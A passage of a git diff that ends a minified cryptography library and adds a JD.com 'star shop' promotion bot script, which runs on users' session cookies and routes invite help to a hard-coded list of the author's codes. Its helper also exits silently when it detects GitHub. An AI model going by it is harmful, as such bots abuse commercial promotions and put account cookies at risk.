134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_star_shop.js b/jd_star_shop.js new file mode 100644 index 0000000..4b336b0 --- /dev/null +++ b/jd_star_shop.js @@ -0,0 +1,729 @@ +/* +* author:star +* */ +/* +明星小店(星店长) +助力逻辑:每个ck随机获取一个明星,然后会先内部助力,然后再助力内置助力码 +抽奖:是否中奖没判断,需自行查看 +更新时间:2021-06-06 +脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js +=================================Quantumultx========================= +[task_local] +#明星小店 +0 1,21 * * * jd_star_shop.js, tag=明星小店, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=================================Loon=================================== +[Script] +cron "0 1,21 * * *" script-path=jd_star_shop.js,tag=明星小店 + +===================================Surge================================ +明星小店 = type=cron,cronexp="0 1,21 * * *",wake-system=1,timeout=3600,script-path=jd_star_shop.js + +====================================小火箭============================= +明星小店 = type=cron,script-path=jd_star_shop.js, cronexpr="0 1,21 * * *", timeout=3600, enable=true + */ + +const $ = new Env('明星小店'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +$.inviteCodeList = []; +$.authorCodeList = [ + 'rQI0TkBIzVwHI4fxBQnt6v0doiabNQfNdJglrUVhOP0','Rcl-dpjMZKyZUzie7lg4ow','lqU3wfq2eBw8N6pRbRBGHg','xsK-EVpDVVszF0j95pGD6g','ujizzb0mcJlnHxWODghdng','WWrct3DS6bVAZi_bxreGMIjWj0dbM-h3TRi8V-tidUU','GjWZjC07q0sWv-yzz5wp7A', 'hwm7S-8XHxl5Mpx4rzdPiBOa77Iohk-EgLxyNxi_FdE','3utidIhY2dRDe2mK6T_5G7yh_gGf1xD4vLB_05gZbw4',"0HZjTH3-lWv0qE6mCTvxas01pClGraCVZ1R-ECaEopk","oJ0Rt_cD3HfbYHOD03zHx7fs6lLGnz46irJmHUlaHaA","q27OvSQ2l66rl_t3LlXiVC9P7ql72fjBn2SatEF21DI","bPpQ7CNQkW423nK1kAq46Q","_k4tqw3KlELJH9XxQO5CrA", 'XkpuXLAvubVHX1_5cgppVA','GYv6SLEM1HE774Oiszj3hJbzz_B9k-Nh-4lrWMylsG8',"ryxvI98ll30Z-xEjQ0ZJI_Ka5LFc42WG0se5j1ybSU0","Y6Ruk4dN_x80II8Z4Awn8A","TIKBjQZhOnpCSlNhNxmP-Q","ipJvkexxbJL697gYl2ARdFVE8g4_QnmLbVGQyfXqejo","cEeoaZymvpPvgZsoyrl4BE49ZX_imzxmCrvKHer5LjY", 'nhIeMSk2UO5fhA0PGLTw3j151Q5TP8LOnxNdkyUCmMk','OB_OCfnuZze9If-n96DCsXt8Zdz3_0X0y2IZLo_V_n4', "BAHTiQ8Nq3G3G6pNnwGeQC3trj2aBNyqM3hYs1n4-fY","3g0oim_8GwLqjbT_zh4cvG_DjGwx8dpU2ncgE1MHr6c","9GuvyBEGOaOt8OBOtCW0OQ","22M7P1iwXb2UxYtcZDrmnqcPeQbAwO5HLvg51tB6qpk","A_4ku8sHjGxvkUgxP3_i_Q","mwS23EsQnjj-mViVqYPlFgtPhKsisKarv3GKZKC0n38","WxUkszrzV_sgvHgfjeOazA","qXBK2YHoFjuNubhbXrXn2g","uY2YOhgwbc2OUUXS0antEQ","q9Ywm-xZ14F1DXfV5I51OQ","fbgxyM40fG86ZcA7DLJjNw","6JiDdfsOOnrfPKGPcWR4RQ","UBIG8bGwOdw6ctKJ1Rrbmg_nv42Am9DJrcdJYIjZqzk","MGBsMlJDZt9HqrRvsyqCiw","IJdg-7-cC16Ml7on84Wgsg", + 'r3yIDGE86HSsdtyFlrPHJHu_0mNpX_AnBREYO-c3BFY', 'Mve7TKmP8UKnC9IULuBrQHzgY54j_0U5BLm5Ox6aigY', +]; +let cookiesArr = []; +let uniqueIdList = [ + {'id':'HY4HCW','name':'陈坤'},{'id':'KDDAR9','name':'徐凯'},{'id':'UN2SU2','name':'赵雷'}, + {'id':'637BQA','name':'成毅'},{'id':'XLDYRJ','name':'白宇'},{'id':'94FEDQ','name':'任嘉伦'},{'id':'GN949D','name':'刘宇宁'},{'id':'WG73ME','name':'李光洁'},{'id':'5JFCD6','name':'李纹翰'}, + {'id':'YCDXNN','name':'蔡徐坤'},{'id':'CX522V','name':'邓伦'},{'id':'877JM4','name':'张哲瀚'},{'id':'D22Q7C','name':'孟美岐'},{'id':'K6DARX','name':'龚俊'},{'id':'2SFR44','name':'白茶'}, + {'id':'S99D9G','name':'刘浩存'},{'id':'ET5F23','name':'吴尊'},{'id':'TXU6GB','name':'刘雨欣'},{'id':'FBFN48','name':'李宇春'},{'id':'UK2SUY','name':'虞书欣'},{'id':'VS4PEM','name':'热依扎'}, + {'id':'QE9757','name':'黄弈'},{'id':'2PFR4L','name':'张云龙'},{'id':'4A2M7K','name':'张伯芝'},{'id':'J8UWSP','name':'戚薇'},{'id':'3FU8S5','name':'周柯宇'},{'id':'P94VEU','name':'林志玲'}, + {'id':'LW4LCK','name':'田鸿杰'},{'id':'MW9U5Z','name':'吴宇恒'},{'id':'AVDKNT','name':'张嘉倪'},{'id':'3PU8SZ','name':'阿云嘎'},{'id':'ZQ7TQR','name':'马家辉'}, {'id':'VZ4PEY','name':'翟潇闻'}, + {'id':'ZH7TQ6','name':'李一桐'},{'id':'4C2M75','name':'张馨予'},{'id':'E55F2M','name':'雷米'},{'id':'M79U5N','name':'无穷小亮'},{'id':'762GUB','name':'刘昊然'},{'id':'8K7JM3','name':'止庵'}, + {'id':'LQ4LCS','name':'倪妮'},{'id':'YTDXNL','name':'宫殿君'},{'id':'5RFCD9','name':'王菲菲'}, +]; +$.shopId = '94FEDQ'; +$.tokenId = 'jd6df03bd53f0f292f'; +$.xdzHelpCodeList = []; +/**奖品只有优惠券,不做他们家的任务 + *{'id':'TRU6GG','name':'王一博'} + *{'id':'ND55FR','name':'刘诗诗'} + * */ +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + console.log('明星小店(星店长)\n' + + '助力逻辑:每个ck随机获取一个明星,然后会先内部助力,然后再助力内置助力码\n' + + '抽奖:是否中奖没判断,需自行查看\n' + + '更新时间:2021-06-06\n'); + + // console.log(`==================开始执行星店长任务==================`); + // for (let i = 0; i < cookiesArr.length; i++) { + // $.index = i + 1; + // $.cookie = cookiesArr[i]; + // $.isLogin = true; + // $.nickName = ''; + // await TotalBean(); + // $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + // console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + // if (!$.isLogin) { + // $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + // + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + // continue + // } + // await xdz(); + // } + // console.log(`开始执行星店长助力\n`); + // if(cookiesArr.length > 1 && $.xdzHelpCodeList.length > 0){ + // 